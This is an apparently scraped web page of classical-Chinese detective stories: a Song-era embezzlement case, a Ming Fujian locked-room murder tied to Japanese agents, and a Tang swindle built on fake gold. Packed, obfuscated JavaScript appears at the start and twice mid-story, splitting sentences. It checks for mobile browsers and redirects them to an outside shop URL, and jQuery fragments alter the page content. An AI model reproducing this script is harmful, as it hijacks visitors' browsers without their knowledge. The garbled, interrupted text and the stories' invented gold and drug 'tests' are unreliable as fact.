l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088156|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 》‘敬敷五教’之训，何以私运官银？”末四字如雷，管事手中文书坠地。 （三）礼法合谳诀 陈州粮社内堂檀香袅袅。主位陈太尉之弟陈知俭，清癯老者。听罢推论，抚掌笑：“白先生果然名不虚传。然先生可知，那三十万贯今在何处？” 不待答，自袖取账簿：“皆在此——拨郑州河工十五万，汝州疫区十万，余五万购药种，分河北流民。”白慕斗接细观，每笔皆有州县印信，开支明细至“某日购麻绳三百尺、某日付力夫工钱五十文”。 “此乃…”抬首。陈知俭敛容正色：“家兄上月巡河防，见郑州堤堰朽坏，报三司，三月无回音。汛期将至，不得已出此下策。”稍顿，“家兄云：《春秋》僖公三年，‘春王正月，不雨’，左氏谓‘不书旱，不为灾也’。今河将溃，三司不报，岂待‘夏大旱，饥’方为灾乎？” 白慕斗默然良久，将簿轻推回：“《唐律》载‘擅用官物，准盗论’。纵有万般理，法度不可违。”陈知俭惨笑：“那便请先生拿我见官。然河工款，已拨矣。” “非也。”白慕斗忽道，“学生今日，乃来请益《春秋》。”起身揖，“庄公十九年，‘公子结媵陈人之妇’，谷梁子解‘礼，大夫无遂事’。今太尉越权擅专，固有罪。然《春秋》亦褒‘宋襄公不擒二毛’，以其存仁。学生愿仿此例——贪墨案，吾续查；河工款，请太尉补手续，学生可作证。” 陈知俭怔，忽老泪纵横，深拜及地。 三、刑礼相生鉴 白慕斗离陈州粮社时，暮色已浓。参军门外久候，忍不住问：“先生真不究？”白慕斗望汴河渔火：“《尚书》云‘刑期于无刑’，刑律之极乃无需用刑。今若拘泥条文，河工无银则堤溃人亡，疫区无药则饿殍遍野——此方为大罪。” 自怀取焦页，就河灯再观。“今当解此谜。”指“泓”字交叠处，“观此笔锋转折，带魏碑意。而神宗朝后，科举禁碑体——此字，乃不赴科举者所书。” 参军灵光闪：“内侍！惟宦官不考科举！”白慕斗颔首：“再思，何人可触宫漆，可调废军船，可仿三司印泥？”望皇城方向，“西京留司老监，无此能。然其上司有。” 三日后，西京大内传：掌内库副都知急病暴卒。同日，太子宫请迁新址，旧宫拆梁时，现三十万贯“遗”银——正那批宣和通宝。朝发上谕，嘉“太子宫人忠谨，献银助河工”，又诏褒陈太尉“预支俸禄济灾民”，惊天案化佳话。 惟嵩山书院夜读学子知，那夜白先生房烛通宵未灭。晨扫时，见案摊《春秋公羊传》，“宋公与楚人战于泓”旁添蝇头注： “泓之败，败于迂；此案之解，解于权。然权不逾礼，变不越经。今人以权变济苍生，虽违律而合道——孔子作《春秋》，乱臣贼子惧；吾辈读《春秋》，当知经权之辨，犹水载舟亦覆舟也。” 窗外春雪忽降，覆书院青瓦。山道有马车夜离京，云陈太尉自请戍边。白慕斗立山门，视车没雪幕，轻诵《诗》： “战战兢兢，如临深渊，如履薄冰。” 参军不知何时至身后，低声问：“先生，此案破否？”白慕斗回身哂，自袖取铜钱——乃那夜沙船拾得宣和通宝。弹向空，接握掌中：“汝言，此钱乃赃物，抑或河工救命钱？” 不待答，已踱向书院深处。雪地留行浅痕，旋为新雪覆。 这正是： 嵩阳雪压老柏枝，断简焦痕藏玄机。 暗渠通银走洛水，明堂悬镜照鬼蜮。 春秋大义谳刑礼，经权相济解苍黎。 莫道律法无变处，民为舟水载覆时。 5. 闽海雾锁密室谳，法舟破雾定海针 万历二十七年四月初六，福清县令林惟明在签押房对烛观《闽海防倭图说》。烛火忽跳，他抬眼见窗外桃枝乱颤——是海风，带着咸腥气。这咸腥不同往常，隐隐混着铁锈与硝石味。他推开窗，见东南天际阴云低垂，想起上月兵部咨文：“倭国关白丰臣秀吉新丧，诸藩不稳，当严防浪人滋扰。” 门扉轻响，老仆林忠端茶入内，低声道：“老爷，东门黄记米行伙计在外厢候了半个时辰，说有急事。” 林惟明搁下书卷：“带进来。” 进来的青衣伙计满面尘灰，扑通跪倒，从怀中取出一封血书。林惟明展信，十六个鸡血写的字触目惊心：“四月初七，子时三刻，黄氏米行，满门绝户。” “何时所得？” “今晨开铺，信插在门缝。掌柜看了脸白如纸…”伙计叩首，“这半月总说有人盯梢，昨夜二更，米仓有异响。” 林惟明将信纸凑近烛火。纸是闽地毛边纸，血渍暗红，边缘有晕染——鸡血掺了清水。左下角一点淡黄粉末，细如尘芥。他用银簪轻挑，就烛细辨，忽然道：“这是倭国产的‘山归来’花粉，闽地并无此物。你家掌柜近日可见过倭人？” 伙计浑身一颤，伏地不敢言。林惟明摆手：“你先回，告诉你家掌柜，今夜本县会去。” 一、密室现形录 （一）市井凶兆 未时三刻，林惟明换上市井短衣，踱到东门大街。黄氏米行铺面三间，黑底金字招牌被海风蚀得泛白。他在对街茶摊坐下，要了碗粗茶，目光锁着米行动静。 申时刚到，米行卸下门板。掌柜黄守业立在槛内朝四方作揖——三十年老铺的规矩，取“四方来财”之意。但今日他作揖时，右手小指一直在颤，像被无形的线牵扯。 茶博士添水时低语：“客官是外乡人？这黄记可邪乎——昨夜打更的陈老汉说，瞧见他家二楼飘绿火，像鬼灯笼。” 林惟明不动声色。目光扫过米行二楼，最西那扇窗的窗纸新糊，可窗棂有道笔直裂缝，非风雨侵蚀，倒像被薄刃划过。他搁下两文钱起身，行至米行门前佯装趔趄，袖中三枚铜钱滑落，正滚到门槛内。 黄守业弯腰拾钱。林惟明瞥见他后颈衣领沾着淡黄粉末，与信上粉末一般无二。 “掌柜的沾了花粉？” 黄守业浑身一震，强笑道：“后、后院桃树落的。”说话时，眼角不自觉瞟向西窗。 林惟明拱手告辞。转过街角，摊开掌心——方才弯腰时，他已从门槛缝中抠出点东西：半粒海盐结晶，边缘粘着黑色海泥。 （二）密室初勘 子时三刻，林惟明带衙役围了米行。门内死寂，唯有海风穿过檐角呜咽。 破门而入，油灯尚温，一桌饭菜未动。黄家七口端坐堂中——老掌柜夫妇、两个儿子、儿媳、及一双孙儿孙女，俱已气绝。面色如常，似忽然睡去，唯七人右手小指皆微微弯曲，形如握物。 仵作验后禀报：“无外伤，无中毒迹象，脏腑完好。” 林惟明擎灯细看地面。青砖地积薄灰，却无外人足迹。门窗自内闩死，屋瓦完好，烟囱窄不容人。 他行至西窗，就灯看那道裂缝。银簪轻探，簪尖带出暗红铁锈。窗棂分明新漆，何来铁锈？沉吟间，忽见窗台有处刮痕，形如弯月，深三分，宽一指——是刀痕。 “福清城中，谁用这般窄刃倭刀？” 老捕头颤声：“自嘉靖年后，私藏倭刀者罪同通敌…” 林惟明不语，命人取石灰粉撒地。须臾，数行极淡足迹显形——草履印，前趾分叉，正是倭人“足袋”压痕。足迹自西窗起，至中堂而没，返程时竟消失无踪。 “凶手足迹有来无回？” 林惟明蹲身细察，见石灰上有极细微反光，宣纸轻拓，是几粒海盐结晶。他霍然起身：“开仓验米！” （三）海气寻踪 米仓在后院，门锁完好。砸锁入内，三千石白米堆积如山。林惟明命人从西北角开簸，至第三层，米堆泛潮气。拨开湿米，下埋七具倭人尸首，颈间皆一道细痕，与西窗刀痕吻合。七人右手虎口厚茧，左腕俱有菊纹刺青。 老捕头倒吸凉气。林惟明验看伤口：“刀口左深右浅，凶手下刀时站在对面——是熟人作案。伤口皮肉外翻，刀在肉中拧过半圈，这是倭国‘居合斩’。”他翻看第六具尸身袖袋，寻得片七彩鱼鳞，“深海鲷鲤鳞，离水三日不褪色。此人死前接触过新鲜海货。” 又验第七具尸身，在腰带夹层发现张倭文纸片。林惟明幼时随父驻防登州，略通倭文，辨出其上数字：“金三百两…四月初五…定金…” 正是血书出现前两日。 “此七人方是真凶。他们藏身米仓，待黄家聚于堂中，自暗门出，杀人后返。然有第八人…”林惟明望向东方，“灭口者自海上来，且与死者相识。” 二、官民合谳录 （一）渔谚指凶 次日晨，林惟明布衣登海堤。潮水初退，滩涂上老渔夫正补网。他蹲身帮拾梭子：“老丈近日可见异样船只？” 老渔夫头也不抬：“官爷是问那‘无灯船’？三月廿九夜，有船泊外沙，整夜不见灯火。吃水浅，船头翘，帆是百衲补的——只有倭国穷浪人才这般凑合。”抬眼时目光如鹰，“倭乱三十年了，可渔家有老话：‘海雾带腥要起风，倭船无灯必带刀’。” 林惟明摸出碎银。老渔夫不接，指滩涂足迹：“那夜有八人涉水上岸，脚印往黄家米行后巷。小老儿在巷口撒了把牡蛎壳——”缺牙的嘴咧开，“穿草履的踏壳而行，声如掐□□。” 当夜，林惟明于城隍庙召全城更夫、粪夫、巡夜壮丁。不点官烛，燃三柱线香，青烟中说：“今日不以县令身份，只作乡亲问话。近日可闻异事、见异人——不拘大小，皆可道来。” 静默良久，东门粪夫王哑比比划。通译道：“他说三日前掏东巷沟，捞出个铁丸，上有菊纹。”呈上之物鸽蛋大小，铁锈斑斑，但菊纹清晰——倭国贵族家徽。 （二）市井布网 四月初八，市舶司前贴出告示：县令夫人寿辰，高价收新奇海货。未时刚过，市舶司前挤满渔民。林惟明扮账房坐竹帘后，目光如筛。 申时三刻，精瘦汉子提桶近前。桶内三尾鲷鲤，鳞泛七彩，与倭人尸身所藏一般无二。林惟明拊掌：“好鱼！客官要价几何？” 汉子眼神闪烁：“不敢要价，只求老爷赏个营生。”说话间袖口微抖，落下星点黄粉。 林惟明故作不见：“可会使倭刀？” 汉子浑身剧震，桶坠地，鱼跃出。不待动作，左右“渔民”已拧臂锁喉——衙役所扮。搜其身，怀揣短柄倭刀，刀柄菊纹与铁丸相同。 （三）海商暗账 押回县衙，不待用刑，汉子已瘫软。供称名岛津次郎，萨摩藩岛津氏支族。因家主岛津义弘参与侵朝兵败，今年正月被德川家康削封，遣他们八人携重金来明，欲购火器翻盘。 “郑沧浪说，黄家账簿记有福建兵备道火铳买卖渠道…”岛津次郎叩首，“三月廿九夜潜入米仓后，组长小西在暗门处听见郑家管家说：‘德川大人的使者已到，这些萨摩倭人留不得’。原来郑沧浪早投靠德川氏，欲吞我等购械金邀功！” 他颤声道：“小西怒杀护院，返仓时黄家已死。平田突然发难，说他是德川派来监视郑沧浪的忍者。混战时暗门外射来冷箭…”扯开衣襟，露出新月状疤痕，“箭贯平田后心，余势钉入我胸三分。小的习‘铠通术’缩肌，方未殒命。装死时听见暗门外收弓声，靴声沉缓似老者。” “箭在何处？” 岛津次郎自怀取断箭：“埋尸时从平田伤口拔出。箭杆近簇处，刻有寸许‘戚’字。” 林惟明目光一凛。戚字箭，乃戚继光平倭时特制，战后应收缴销毁。私藏者，罪同谋逆。 “郑沧浪现在何处？” “应在他商行地窖。真账另藏…”岛津次郎叩首，“小的愿带路！” 三、闽海鉴真录 （一）金砖藏秘 郑氏商行后园，妈祖祠堂香烟缭绕。林惟明命移神龛，果见地铺金砖。左数第三块敲之空响，撬起后，下压鲨皮包裹，内藏三账。 一为明账，记正经海贸；二为暗账，载私倭交易；最下那本以油布密封，竟是萨摩藩主与闽浙官员密信抄本。 林惟明翻至末页，见朱批：“万历二十四年春，付琉球使金二百两，令通市舶。”正要细勘，忽凝目观纸，取水壶淋账页。水渍漫开处，“万历二十四年”墨迹竟化，露出底层“嘉靖四十四年”字迹。 他冷笑：“揭白补字之术！此页原为嘉靖旧纸，被人揭去表层补写。”撕开纸角露夹层，“且看这‘嘉靖四十四年’原字——墨色沉黯，松烟墨；补字鲜亮，油烟墨。”将账页凑近烛火，底层浮现淡淡菊纹。 “倭纸！”老捕头骇然。 “倭国鸟子纸以楮皮掺紫藤花汁，遇热显菊纹。”林惟明目视梁上，“此人不仅是忍者，更是制伪高手。伪造旧账，欲陷我朝老臣——嘉靖四十四年，闽浙正厉行海禁，岂有走私？” 话音未落，梁上机括声响。林惟明侧身滚地，三支喂毒弩箭钉入蒲团。衙役破梁擒人，却是郑沧浪心腹账房，已咬毒囊自尽。搜其身，得“风魔手里剑”三枚，柄刻菊纹。 “去市舶司。” （二）潮信定时 市舶司堂上，郑沧浪昂然不跪：“林知县，昨夜有八百里加急往杭州，你可知晓？” 林惟明不答，展潮汐表于案：“三月廿九夜子时，梅花所外海涨大潮，倭船趁潮而入。四月初五同一时辰，该船再次入港——那夜你在码头，接的是德川使者，对否？” 郑沧浪色变。林惟明又抛焦黑船板：“此板取自黄家暗渠。木质是倭国椶木，焦痕乃闽产硫磺所致——有人故意焚船灭迹。能在福清港公然焚船者，”目如利剑，“除了掌港口巡检的市舶司，还有谁？” 堂外喧哗。门子报：“市舶司郑提举到！” 绯袍官员昂然而入，先发制人：“林知县无端锁拿良商，惊扰海神祠，该当何罪？”又指岛津次郎，“这倭寇分明细作！” 林惟明自袖中取菊纹铁丸。“提举可识此物？” “寻常铁丸…” “非也。此乃倭国‘早合’火铳弹丸。嘉靖年间戚将军缴获倭铳，载于《纪效新书》：‘早合铳，丸刻菊纹，以辨弹道’。”翻转铁丸，亮底部细如发丝的刻痕，“刻的是‘市舶司封’四字篆文——是市舶司验过的火器。” 满堂死寂。林惟明又取账簿，翻至某页：“万历二十六年八月，市舶司收萨摩藩‘勘合银’五千两，批注‘验倭铳三百杆，许入港’。依《大明律》，私验军器者斩，受贿纵夷者族。这账上盖的，可是你衙署官印？” 话音未落，堂外鸣锣。门子踉跄来报：“抚台大人到！” 福建巡抚着仙鹤补子绯袍入堂，先对林惟明拱手：“本院巡察至此，闻有奇案，特来旁听。”又瞥郑提举，“郑大人脸色不好？” 郑提举扑通跪倒。 （三）民舟载法 三日后，巡抚邀林惟明登鼓山观海亭。时值暮春，东南风急，海上雾气如纱。 巡抚凭栏望海良久，忽道：“郑提举在狱中撞墙自尽，留血书指认闽浙十二官员。若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088157|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 依此查办，福建三司皆有牵连。” 林惟明自袖中取账簿，当巡抚面撕碎投火。“大人，方才烧的是暗账副本。真账在此——”又取鲨皮账册，“此册只记郑沧浪与萨摩藩近年走私，不涉官员。至于伪账…”他从炭火中抽出半焦纸页，上见“嘉靖四十四年”字样，“此页墨色泛金，乃用倭国‘金墨’所书，遇火不燃——是倭人伪造的旧账。” 巡抚愕然：“何以见得？” “嘉靖四十四年，闽浙严行海禁。若真有走私，岂会用倭国特制金墨记账？此墨配方载于《日本考》，乃天正年间方由倭国相国寺僧所创。”林惟明抖开账页，“更关键者，账上所列‘泉州卫千户张威’，下官查过卫所档案，此人嘉靖三十八年已战殁鹭岛。” 巡抚细看账页，果见“张威”名下记“收倭刀三十柄”，日期却是“嘉靖四十四年五月”。他沉吟道：“倭人伪造旧账，意在何为？” “一为离间，二为试探。”林惟明指向海雾深处，“岛津次郎供称，萨摩藩谋士有言：‘明国官员最惧旧账，若以伪造旧账投石，可观其惶惧之态，择可乘者而攻’。” 巡抚色变：“好毒计！若本官据此查办，岂不正中下怀？” “故而下官已调换账册。伪账昨夜已焚于戚公祠前，灰烬撒海。”林惟明望千帆过处，“嘉靖倭乱时，胡宗宪总督曾言：‘治倭如治水，堵则溃堤，疏则安澜’。今若因伪账兴狱，闽海官场自危，倭寇必乘隙而入。” 巡抚沉默良久，深揖及地：“非林知县明察，几误大事。”起身时目有深意，“然真账中郑提举、郑沧浪之罪…” “铁证如山。”林惟明自怀取判词，“郑提举受贿纵夷，依《大明律·兵律》‘私出外境及违禁下海’条，当斩；郑沧浪私通倭国，依‘谋叛’条，判凌迟。家产抄没，七成拨修闽安镇海防，三成抚恤抗倭烈属。” 他展开附录：“另有七名官员涉案较轻，多为被迫收受薄礼。下官已将其过犯另册密呈，请大人暗察以观后效。” 巡抚接过青布袋，入手沉重。正欲开口，忽闻亭外弓弦震响。凭栏望去，见校场上一皓首老卒正教弓手开弩，每拉满弦，必吼：“嘉靖——” 年轻弓手齐应：“平倭！” 吼声在潮声中回荡。巡抚忽道：“那射箭老卒…” “是西门更夫邢三彪。”林惟明自袖中取半截箭杆，“此人昨夜本欲携此箭祭子——其子万历二十一年战殁平壤。路遇倭踪，方发此矢。箭上‘戚’字乃戚将军亲笔，血沁三层，见证南澳、林凤、朝鲜三役。下官已令其戴罪教习。” 巡抚抚箭长叹：“自嘉靖三十二年起，倭患绵延甲子。今见此箭，如见戚将军虎威犹在。”他转身凝视林惟明，“林知县，朝中已有御史参你‘擅焚罪证、纵放倭谍’。” 林惟明笑指海上渔船：“大人请看那些撒网船。渔人下网，必留网眼——小鱼漏而大鱼存，方可生生不息。治国若捕鱼，网眼大小当随潮汛而变。今德川氏初掌倭国，萨摩藩困兽犹斗，正宜示之以威、怀之以德。若此时网眼过密，小虾俱擒，反逼群鱼撞网。” 他自怀中取潮汐表：“下官有三策：一曰‘固防’，以赃款修闽安镇炮台；二曰‘清源’，严查私通；三曰‘用间’，释岛津次郎回萨摩，传语‘明国只认德川为倭主’——令其内斗自耗。” 巡抚拊掌：“好个‘威德并施’！只是那黄家…” “黄守业罪在私通倭商、囤粮抬价，然其七口横死，已受天诛。依《大明律》，罪人伏法后，当许归葬。”林惟明望山下送葬队伍，“今日百姓送葬，送的不是黄家，是‘王法’二字。三十年来，黄家倚仗海贸勾结官府，百姓敢怒不敢言。今其罪迹昭彰、依法而断，方显天道至公。” 四、潮信柱铭 半月后，福清城隍庙前设公审。林惟明当堂宣判： “郑提举依《大明律·兵律》‘盘诘奸细’条，斩；郑沧浪依‘谋叛’条，凌迟。家产抄没，七成拨修海防，三成抚恤万历二十一年援朝战殁将士遗属——此据《问刑条例》‘赃物偿边’款。” 又判：“岛津次郎助擒真凶，依《刑台法律》‘外国人立功减等’例，免死，发登州卫充通译。邢三彪私藏军械，本应重处，然其射杀倭谍，依《大明令》‘军民擒斩倭贼赏格’，功过相抵，留巡检司教习。” 巡抚亲题匾额：“海疆之治，在明潮信；刑狱之平，在察真伪。” 黄家出殡那日，老妇焚借据于棺前，对众言：“今日老身焚此债契，非恕黄家，乃信王法。自此之后，福清城内大斗小秤之事当绝矣！”围观众人纷纷应和，有粮商砸毁小斗，有当铺焚毁重利借据。 三日后，林惟明命人在黄家坟前立青石柱，上刻： “万历二十七年四月初七，黄氏以通倭、盘剥伏法。石柱在此，潮涨则没，潮退则现——但使闽海有潮信，此柱不倒；但使世间存公道，此案可鉴。” 立柱那日恰逢大潮。海水淹至“公”字而退，石柱巍然屹立。有老书生叹道：“昔年胡总督筑定海城，今林知县立潮信柱，皆寓‘法度如潮，有进有退’之意。” 亭外校场，邢三彪挽弓如满月，弦响箭出，正中百步外箭靶红心。海风送来老卒嘶吼，与潮声共鸣： “嘉靖——平倭！万历——靖海！” 声浪穿云，惊起一群白鹭，向着浩渺东海振翅而去。 这正是： **闽海春深雾锁衙，密室无痕血作花。 伪账难遮真法眼，潮柱永立证黄沙。 三朝箭镞诛倭寇，一纸判词安岁华。 莫道密室天难问，官民同舟即法槎。** 6. 胭脂虎谳 胭脂虎谳 楔子长安妖市 长安西市有“胭脂虎”，非猛兽也，乃一奇骗。贞观某岁秋，市井忽传“银簪化金”之术：有老妪持银簪过市，遇青衫道士，以药水涂抹，银簪顿成赤金。围观者数十，皆见老妪簪换金钗，欢天喜地归。旬日内，此术传遍百坊。 大理寺司直裴明远，时年廿八，青衫瘦骨，好读《疑狱集》。闻此事，与老书吏对坐值房，以指叩案：“银化金，古有‘药金’之术，乃水银杂锡铅为之，色似金而质脆。然市井能公然施术，必有三诈：一诈在药，二诈在人，三诈在托。” 老吏斟茶道：“裴司直明鉴。昨日永兴坊有布商被骗三百贯，道是亲眼见道士化银为金，遂倾囊购药水三瓶。归家试之，药水唯染黄铜，真银丝毫不变。” “证人可寻得？” “那老妪已无踪，道士自称终南山炼气士，昨日亦遁去。”老吏忽压低声道，“然有一事蹊跷——布商言，道士施术时，曾以青帕拭簪。老朽疑那帕中有诈。” 裴明远推窗望西市方向，暮色中灯火初上，忽然道：“备马，去西市。” 一、 青帕玄机 西市胭脂铺前，人踪已稀。铺主是寡妇周氏，年过四旬，梳着时兴的倭堕髻，鬓边一支银簪却是旧物，接口处有修补痕迹。见官差来，她从容万福：“妾身今日见那道士施术，就在铺前三步地。” “可记得青帕样式？” “素青棉帕，四角绣赭色云纹。”周氏自柜台取出一方帕子，“与这帕相似，只是云纹在四角，不在中央。” 裴明远接过细看，帕是寻常棉布，但对着夕阳一照，布纹间有极细金线反光。他取腰间水囊，倒少许清水在帕上，水渍迅速晕开，形成古怪纹路——竟是一幅简易西市地图，标着三处胭脂铺位置。 “这帕…”周氏色变。 “帕是特制，以明矾水画图，遇水则显。”裴明远叠起帕子，“那道士与你，本是一伙。” 周氏跌坐椅中，良久惨笑：“大人如何看破？” “你鬓边银簪，”裴明远指她发髻，“接口修补用‘锉金银’之法，这是宫内匠人手艺。一市井寡妇，何来此物？” 话音未落，后堂帘动，那青衫道士闪出，手中已多了一把短刀。但他未扑向裴明远，反手一刀划开柜台布帘，露出后面暗格——内藏十余锭“金”，在烛光下闪着诡异赤色。 “药金在此，”道士弃刀冷笑，“大人既看破，某无话说。只是有一事不明：某这‘化银术’施了七次，前六次都无人识破，何以今日…” “因你贪了。”裴明远拾起一锭药金，以指甲轻刮，金粉下露出铅灰，“前六次，你找的皆是行商、游侠，骗罢即走。第七次却骗布商三百贯——此人在长安有十间铺面，岂会善罢甘休？且你用的托儿，”他看向周氏，“鬓簪露了破绽。” 道士颓然跪倒。此时门外忽然涌入七八个市井人物：卖胡饼的突厥老汉、弹琵琶的盲眼乐师、补瓷器的郑瘸子…众人围住道士，那郑瘸子竟扔了拐杖，行动如常。 “大人，”突厥老汉操着生硬汉话，“这厮骗了某家女儿嫁妆银三十两，某等暗中盯他三日了。” 盲眼乐师“睁”开浑浊的眼：“老朽眼盲耳不盲，这厮与周寡妇夜半私语，说‘再做三票便去洛阳’，老朽听得真切。” 二、 三诈连环 道士与周氏押回大理寺。夜审时，道士供出姓名王九郎，原为太常寺丹药坊匠人，因私炼丹药被逐。所施骗术确有三层： 一曰“染银术”。非真化银为金，是以特制药水涂银，药水含硫磺、雄黄、硇砂，遇银产生赤色硫银膜，观似鎏金。此法只能维持半个时辰，色褪后银簪如故。 二曰“青帕计”。拭簪时，以帕中暗藏的真正金粉抹在簪头。簪本银，头抹金，观者但见簪头金光灿烂，便信全簪已化金。那金粉极细，遇汗即粘，半日后自然脱落。 三曰“连环托”。周氏是第一托，佯装路人得利；突厥老汉是第二托，在人群起哄“真神术也”；郑瘸子是第三托，假意抢购药水。三人轮番上场，诱人入彀。 裴明远录罢供词，忽问：“你那药水，用了几味药？” 王九郎一怔：“硫磺、雄黄、硇砂、硝石、绿矾…共九味。” “不对，”裴明远摇头，“还少一味‘金汁’。” “金、金汁？”王九郎愕然，“那是秽物，入药作甚？” “金汁可解硫毒。你那药水染银后，簪会带硫毒。老妪若真戴了，不出一日，颈项必起红疹。”裴明远直视他，“所以那老妪，根本没戴簪——她也是你的托儿，对否？” 王九郎面如死灰。堂外忽然传来老妪哭声，竟是周氏之母，由两个坊正押来。老妪扑倒在地：“大人明鉴！老身不知那是骗术，女儿只说借簪一用，能得三钱银子…” 裴明远叹息。此案至此，已牵扯五人：王九郎主谋，周氏、突厥老汉、郑瘸子为从，老妪为不知情工具。但他心中仍有一疑：王九郎一介被逐匠人，如何能制出那般逼真的药金？ 三、 金蛇脱壳 三日后，裴明远暗访太常寺丹药坊。坊中老匠人见官符，不敢隐瞒：“王九郎确曾在此，但他炼丹术平平。大人说的药金，需用‘波斯金法’——以水银、锡、铅、铜四金合炼，非十年功夫不成。” “长安城中，谁能为此？” 老匠人犹豫片刻，低声道：“平康坊南曲，有胡商穆萨，专售波斯丹药。但此人三日前已离长安，说是回西域贩琥珀。” 裴明远赶至平康坊，穆萨宅邸已空，只留个驼背老仆扫院。裴明远在宅中细查，于丹房炉灰里扒出一片未烧尽的纸，上有胡文数字。老仆哆哆嗦嗦道：“这是…账目。穆萨与王九郎有往来，用波斯金法换他的唐丹方。” “什么唐丹方？” “说是…能制‘寒食散’的改良方子。” 裴明远心中一凛。寒食散乃魏晋遗毒，本朝明令禁绝。若王九郎真以此方与胡商交易，所犯不止诈骗，还有私炼禁药之罪。 他即刻回衙，重审王九郎。此番用上刑具，王九郎终于吐实：那药金确是穆萨所制，他不过负责行骗分利。所谓“银簪化金”全是幌子，真正目的是借围观人潮，将寒食散混在“仙丹”中售卖。 “买者何人？” “多是赴考举子、熬夜账房、还有…”王九郎吞吞吐吐，“还有平康坊的乐伎。” 堂外忽然击鼓。门子来报，说有举子赵姓，服“提神丹”后狂躁伤人，现已押在门外。裴明远提人一问，所服丹药正是从“银簪化金”现场购得，卖药者是个哑女，收钱即走。 “哑女？”裴明远看向王九郎。 王九郎摇头：“某等并无哑女同伙。” 裴明远忽有所悟，疾步至案前，铺开西市地图。银簪骗局七次，地点连成一线，恰是条暗巷路径。他沿路径标出八个点，第七点正是赵举子购药处——但那里并非骗局现场，而是隔了两条街的笔墨铺。 “声东击西，”裴明远掷笔，“好一招金蝉脱壳！” 四、 计中之计 当夜，裴明远请来西市所有笔墨铺掌柜。其中刘掌柜见地图，忽然拍腿：“是了！那日确有哑女在铺前卖药，但她不是卖，是换——用一包‘提神丹’换书生手里的旧书。某见她可怜，还赠了十个铜钱。” “换书？”裴明远警觉，“换的什么书？” “都是《汉书》《后汉书》之类，本本破旧。”刘掌柜道，“但有一事古怪：那些书里，都夹着银票。” 裴明远豁然开朗。这不是简单的诈骗，而是条完整的黑链：王九郎团伙用“银簪化金”吸引注意，暗中观察谁人钱财外露；哑女记下目标，尾随至僻静处，以丹药换书——其实是要换书中夹带的银票；得手后，银票经穆萨换成波斯金币，丹药所含寒食散则让人上瘾，成为长期财源。 “那哑女现在何处？” 刘掌柜摇头。此时门外传来孩童笑声，是个总角小郎，扒着门框说：“哑女姐姐在废庙教我们折纸鹤，她还给了糖吃。” 裴明远蹲身柔声问：“什么废庙？” “晋昌坊的菩提废寺，就在放生池后面。” 裴明远即刻点齐差役，连夜奔晋昌坊。废寺中，哑女正在烛下分药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088158|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，见官差来，不惊不逃，静静伸出双手。她年约二八，面容清秀，脖颈有旧疤，显是幼年被烫致哑。 搜其住处，得账册三本。一本记骗术所得，一本记丹药售出，最紧要的是第三本——上面密密麻麻记着买药人姓名，竟有百余，多是书生、小吏、商贾。每人名后标着“日三钱”“月一两”等字，竟是赊账记录。 裴明远翻至末页，见一行小字：“永徽三年腊月，穆萨约见于波斯寺，议定分利：金归彼，药归我，长安瘾者皆我牛羊。” 他合上册子，看那哑女。少女抬眸，眼中无悲无喜，以指蘸水在案上写：“妾本医家女，父因寒食散死。今以此术诱人服散，使知此毒之烈。大人所擒，皆妾故意留迹。” 烛火噼啪，映着她平静的脸。裴明远忽然想起《疑狱集》中语：“至毒之案，往往起于至痛之人。” 五、 法网经纬 案结，奏报呈上。王九郎以诈欺、私炼禁药判流三千里；周氏等从犯各杖一百、徒三年；胡商穆萨海捕文书发往各道；哑女因首告有功，且为父报仇，免死罪，发往太医署为药奴，终身不得出。 判词下达那日，裴明远邀西市百姓至大理寺前，当众焚毁所缴寒食散。浓烟升起时，他朗声道： “今日此案，诸君皆见骗术三诈：一诈炫目，以银化金惑人眼；二诈连环，以托作戏诱人心；三诈深毒，以丹为饵断人魂。然破之亦有三法——” 他自案上取银簪一支，药水一瓶，青帕一方： “一曰试真伪。凡遇奇术，勿轻信眼见。取水一杯，将所谓‘金物’浸入，真金沉而不染，药金水必泛黄。此谓‘水试法’，载在《墨娥小录》。” 又取寒食散一包，撒入火盆，顿时冒紫烟： “二曰察气味。寒食散遇火发紫烟，有腥气。凡街头所售‘提神丹’‘壮力散’，可索少许烧试。此谓‘火鉴法’，太医药典皆有载。” 最后展开那幅西市地图： “三曰观人事。凡骗局，必有三以上同伙互为犄角。若见一人炫术、二人喝彩、三人争购，当立刻远避，速报坊正。此谓‘察众法’，古之《市蠹录》言之甚详。” 百姓皆拜谢。忽有老书生问：“司直，那哑女真是为父报仇么？” 裴明远默然片刻，道：“其父确是医者，五年前因试寒食散新方身亡。然其复仇之法，已堕魔道——使百人染毒，何异于手刃百人？法理可悯其情，不可恕其行。” 他望向狱所方向，轻声道：“诸君当谨记：世间骗术，皆攻人心弱点。贪利者遇利诱，惧病者遇仙方，慕名者遇捷径。守心之法，唯‘平常’二字——不贪意外之财，不慕速成之功，不信无本之利。如此，虽百诈不能侵。” 暮鼓声中，人群散去。裴明远独坐堂上，将案卷收入檀木匣。匣盖上刻着大理寺诫铭： 